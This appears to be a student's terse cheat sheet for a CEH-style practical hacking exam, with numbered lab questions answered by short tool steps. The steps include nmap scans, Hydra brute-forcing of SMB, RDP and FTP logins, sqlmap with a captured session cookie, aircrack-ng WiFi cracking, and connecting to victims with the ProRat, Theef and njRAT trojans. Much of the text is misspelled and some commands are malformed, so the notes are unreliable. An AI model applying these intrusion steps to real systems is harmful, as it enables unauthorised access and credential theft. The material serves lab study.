1 Domain name

Nmap -T4 -A IP ADDRESS

Domain controller product version

nmap -p 389 -sV --script ldap-rootdse target_IP_address

2 NUMBER OF MERCURY

nmap -sV -p 25,80,110,143 IP ADDRESS

IP ADDRESS OF WAMPSERVER

NMAP -Sv -sC -A -Pn IP ADDRESS

3 DECRYPT THE IMAGE/FILE USING SMB CREDENTIAL

Hydra -L username -p wordlist.txt IP ADDRESS

DECRYPT THE FILE USING RDP ENANLBED

nmap -p 3389 --open -sV 10.10.55.0/24

hydra -t 1 -V -f -l Jones -P /home/passlist.txt rdp://10.10.55.X

8 EXPLOIT WEAK CREDENTIAL FTP SERVICE CREDENTIAL.TXT

Hydra -l villain/home/username.txt -p wordlist.txt IP ADDRESS ftp

10 DIE ANOTHER DAY FILE /TELL ENTRY POINT ADDRESS

GO TO PEID MALWARE ANALYSIS TOOL

PUT FILE IN TOOL AND TELL ENTRY POINT RELATIVE ADDRESS

11/12 ITENTIFY MOST SENT PACKET IP ADRS ATTACKTRAFFIC.PCAPING LINUX

GO TO WIRESHARK AND OPEN FILE

GO TO STATICTICS AND OPEN CONVERSATION

GO TO IPV4

WRITE IP ADDRESS A WITH MAXIMUM NO OF PACKET

13 SQL INJECTION ATTACK CEHORG /PASSWORD SARAH

GO TO CEHORG AND PUT CREDENTIAL OF KAREN/COMPUTER

GO TO CONSOLE AND WRITE DOCUMENT.COOKIE

GO TO PARROT AND WRITE

Sql map -u URL --cookie PASTE THE DOCUMENT.COOKIE TEEXT

15 DVWA CRACK MD5 HASH

LOGIN IN DVWA USING CREDENTIAL

IP ADDRESS /DVWA/UPLOAD/HASH

16 itentify message length of iot public message

GO TO WIRESHARK

OPEN ANY FILE IN DCUMENTS

TYPE mqtt

Click on Iot packet capture

ANS 36

17 WIFI PASSWORD /HONEYPOT

GO TO PARROT

aircrack -ng -w (path of wordlist.txt) path of file

19 RAT /ACCRESS STRING IN FILE

PRORAT

SET VICTIM ID AND PORT 5110

CLICK CONNECT AND SEARCH FILES

THEEF

SET VICTIM ID AND RELATIVE PORT TO 6703 AND 2968

CLICK CONNECT AND OPEN FILE MANAGER

NJRAT

INSER IP AND PORT

CLICK ON MANAGER AND OPEN DIRECTORY

20 DECRYPT HASH USING VERACRYPT /KEY2SECRET.TXT

GO TO CRACKSTATION

DECRYPT FILE AND HAVE HASH

USE VERACRYPT TO DECYPT THE PASSWORD